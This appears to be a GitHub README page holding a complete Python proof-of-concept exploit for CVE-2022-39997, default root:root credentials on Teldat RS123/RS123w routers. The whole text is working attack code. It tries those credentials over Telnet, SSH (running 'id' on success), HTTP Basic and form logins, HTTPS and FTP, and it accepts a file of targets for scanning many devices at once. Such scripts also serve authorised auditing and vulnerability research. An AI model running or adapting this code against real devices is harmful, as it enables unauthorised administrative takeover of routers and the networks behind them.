README.md
Rendering markdown...
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CVE-2022-39997 - Teldat Router (RS123/RS123w) Weak Password POC
Description:
Teldat RS123/RS123w routers ship with hardcoded default credentials
(root:root) that many administrators never change. This allows
unauthenticated attackers to gain full administrative access.
CWE: CWE-521 (Weak Password Requirements)
CVSS: 9.8 (Critical)
Severity: Critical
Affected Versions:
- Teldat RS123
- Teldat RS123w
Usage:
python CVE-2022-39997.py -t 192.168.1.1
python CVE-2022-39997.py -t 192.168.1.1 --timeout 10
python CVE-2022-39997.py -f targets.txt
"""
import argparse
import sys
import requests
import telnetlib
import paramiko
import socket
import time
from urllib.parse import urljoin
# Disable SSL warnings
requests.packages.urllib3.disable_warnings()
DEFAULT_USERNAME = "root"
DEFAULT_PASSWORD = "root"
DEFAULT_TIMEOUT = 5
BANNER = r"""
_____ _ _ _____ _____ _____ _____ _____ _____ _____ _____ _____ ______
/ __ \ | | | ___| / __ \| _ |/ __ \/ __ \ |____ || _ || _ || _ ||___ /
| / \/ | | | |__ ______`' / /'| |/' |`' / /'`' / /'______ / /| |_| || |_| || |_| | / /
| | | | | | __|______| / / | /| | / / / / |______| \ \\____ |\____ |\____ | / /
| \__/\ \_/ / |___ ./ /___\ |_/ /./ /___./ /___ .___/ /.___/ /.___/ /.___/ /./ /
\____/\___/\____/ \_____/ \___/ \_____/\_____/ \____/ \____/ \____/\____/ \_/
"""
def check_http(target, port, use_ssl=False, path="/", username=None, password=None):
"""
Attempt HTTP Basic Authentication or form-based login
with default credentials.
"""
protocol = "https" if use_ssl else "http"
url = f"{protocol}://{target}:{port}{path}"
username = username or DEFAULT_USERNAME
password = password or DEFAULT_PASSWORD
results = []
# --- HTTP Basic Auth ---
try:
r = requests.get(
url,
auth=(username, password),
timeout=DEFAULT_TIMEOUT,
verify=False,
)
if r.status_code == 200:
results.append(f"[+] HTTP Basic Auth ({url}) - SUCCESS (root:root)")
print(f" [!] Response length: {len(r.text)} bytes")
elif r.status_code == 401:
results.append(f"[-] HTTP Basic Auth ({url}) - 401 Unauthorized")
else:
results.append(f"[*] HTTP Basic Auth ({url}) - Status: {r.status_code}")
except requests.exceptions.ConnectionError:
results.append(f"[-] HTTP ({url}) - Connection refused")
except requests.exceptions.Timeout:
results.append(f"[-] HTTP ({url}) - Timeout")
except Exception as e:
results.append(f"[-] HTTP ({url}) - Error: {e}")
# --- Form-based login (common router endpoints) ---
login_endpoints = [
"/login.cgi",
"/cgi-bin/login",
"/goform/login",
"/login.html",
"/index.html",
"/admin/login",
]
for endpoint in login_endpoints:
try:
login_url = urljoin(url, endpoint)
# Try common POST parameter names
data = {"username": username, "password": password}
r = requests.post(
login_url,
data=data,
timeout=DEFAULT_TIMEOUT,
verify=False,
allow_redirects=False,
)
if r.status_code in [200, 302] and "error" not in r.text.lower():
# Check if we got a session cookie or redirect
if r.status_code == 302 or "Set-Cookie" in str(r.headers):
results.append(
f"[+] Form Login ({login_url}) - Possible SUCCESS (root:root)"
)
break
except Exception:
continue
return results
def check_telnet(target, port=23, username=None, password=None):
"""
Attempt Telnet login with default credentials.
"""
username = username or DEFAULT_USERNAME
password = password or DEFAULT_PASSWORD
try:
tn = telnetlib.Telnet(target, port, timeout=DEFAULT_TIMEOUT)
# Wait for login prompt
idx, match, text = tn.expect(
[b"login:", b"Login:", b"Username:", b"username:", b"user:"],
timeout=DEFAULT_TIMEOUT,
)
tn.write(username.encode("ascii") + b"\n")
# Wait for password prompt
idx, match, text = tn.expect(
[b"Password:", b"password:", b"Passwd:"], timeout=DEFAULT_TIMEOUT
)
tn.write(password.encode("ascii") + b"\n")
# Wait a moment and read response
time.sleep(1)
output = tn.read_very_eager().decode("ascii", errors="ignore")
tn.close()
# Check if we got a shell prompt or error
if "login incorrect" in output.lower() or "access denied" in output.lower():
return [f"[-] Telnet ({target}:{port}) - Login failed (wrong credentials)"]
elif "#" in output or ">" in output or "$" in output:
return [f"[+] Telnet ({target}:{port}) - SUCCESS (root:root) - Got shell!"]
elif "login:" in output.lower() or "password:" in output.lower():
return [
f"[-] Telnet ({target}:{port}) - Login failed (credentials rejected)"
]
else:
return [
f"[+] Telnet ({target}:{port}) - Possible SUCCESS (root:root)"
f"\n Output: {output[:200]}"
]
except (socket.timeout, ConnectionRefusedError, TimeoutError):
return [f"[-] Telnet ({target}:{port}) - Connection failed"]
except EOFError:
return [f"[-] Telnet ({target}:{port}) - Connection closed by host"]
except Exception as e:
return [f"[-] Telnet ({target}:{port}) - Error: {e}"]
def check_ssh(target, port=22, username=None, password=None):
"""
Attempt SSH login with default credentials.
"""
username = username or DEFAULT_USERNAME
password = password or DEFAULT_PASSWORD
try:
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(
target,
port=port,
username=username,
password=password,
timeout=DEFAULT_TIMEOUT,
allow_agent=False,
look_for_keys=False,
)
# Execute a simple command to verify
stdin, stdout, stderr = client.exec_command("id", timeout=DEFAULT_TIMEOUT)
output = stdout.read().decode("utf-8", errors="ignore").strip()
client.close()
return [
f"[+] SSH ({target}:{port}) - SUCCESS (root:root)"
f"\n Command 'id' output: {output[:200]}"
]
except paramiko.AuthenticationException:
return [f"[-] SSH ({target}:{port}) - Authentication failed"]
except (socket.timeout, TimeoutError):
return [f"[-] SSH ({target}:{port}) - Timeout"]
except ConnectionRefusedError:
return [f"[-] SSH ({target}:{port}) - Connection refused"]
except Exception as e:
return [f"[-] SSH ({target}:{port}) - Error: {e}"]
def check_ftp(target, port=21, username=None, password=None):
"""
Attempt FTP login with default credentials.
"""
from ftplib import FTP
username = username or DEFAULT_USERNAME
password = password or DEFAULT_PASSWORD
try:
ftp = FTP()
ftp.connect(target, port, timeout=DEFAULT_TIMEOUT)
ftp.login(username, password)
ftp.quit()
return [f"[+] FTP ({target}:{port}) - SUCCESS (root:root)"]
except Exception as e:
error_msg = str(e).lower()
if "530" in error_msg or "login" in error_msg or "auth" in error_msg:
return [f"[-] FTP ({target}:{port}) - Login failed"]
return [f"[-] FTP ({target}:{port}) - Connection failed"]
def main():
parser = argparse.ArgumentParser(
description="CVE-2022-39997 - Teldat Router Weak Password POC",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
python CVE-2022-39997.py -t 192.168.1.1
python CVE-2022-39997.py -t 192.168.1.1 --timeout 10
python CVE-2022-39997.py -t 192.168.1.1 --all
python CVE-2022-39997.py -f targets.txt
""",
)
parser.add_argument(
"-t", "--target", help="Target IP address or hostname"
)
parser.add_argument(
"-f", "--file", help="File containing list of targets (one per line)"
)
parser.add_argument(
"-u", "--username", default=DEFAULT_USERNAME, help="Username (default: root)"
)
parser.add_argument(
"-p", "--password", default=DEFAULT_PASSWORD, help="Password (default: root)"
)
parser.add_argument(
"--timeout", type=int, default=DEFAULT_TIMEOUT, help="Connection timeout in seconds"
)
parser.add_argument(
"--all",
action="store_true",
help="Check all services (Telnet, SSH, HTTP, HTTPS, FTP)",
)
parser.add_argument(
"--http-port", type=int, default=80, help="HTTP port (default: 80)"
)
parser.add_argument(
"--ssl-port", type=int, default=443, help="HTTPS port (default: 443)"
)
args = parser.parse_args()
if not args.target and not args.file:
parser.print_help()
sys.exit(1)
print(BANNER)
print("CVE-2022-39997 | Teldat Router Weak Password (root:root)")
print(f"CWE-521 | CVSS 9.8 (Critical)")
print("=" * 60)
# Build target list
targets = []
if args.target:
targets.append(args.target.strip())
if args.file:
try:
with open(args.file, "r") as f:
for line in f:
line = line.strip()
if line and not line.startswith("#"):
targets.append(line)
except FileNotFoundError:
print(f"[!] File not found: {args.file}")
sys.exit(1)
for target in targets:
print(f"\n[*] Testing target: {target}")
print("-" * 40)
results = []
# Telnet (common on embedded routers)
print("[*] Checking Telnet (port 23)...")
results.extend(check_telnet(target, username=args.username, password=args.password))
# SSH
print("[*] Checking SSH (port 22)...")
results.extend(check_ssh(target, username=args.username, password=args.password))
# HTTP / HTTPS
print("[*] Checking HTTP (port 80)...")
results.extend(
check_http(
target,
args.http_port,
username=args.username,
password=args.password,
)
)
if args.all:
print("[*] Checking HTTPS (port 443)...")
results.extend(
check_http(
target,
args.ssl_port,
use_ssl=True,
username=args.username,
password=args.password,
)
)
print("[*] Checking FTP (port 21)...")
results.extend(
check_ftp(target, username=args.username, password=args.password)
)
# Print results
print("\n[*] Results:")
for result in results:
print(f" {result}")
# Summary
success = any("[+]" in r for r in results)
if success:
print(f"\n[!!!] VULNERABLE: {target} - Weak default credentials (root:root)")
else:
print(f"\n[*] {target} - Not vulnerable or unreachable via tested services")
if __name__ == "__main__":
main()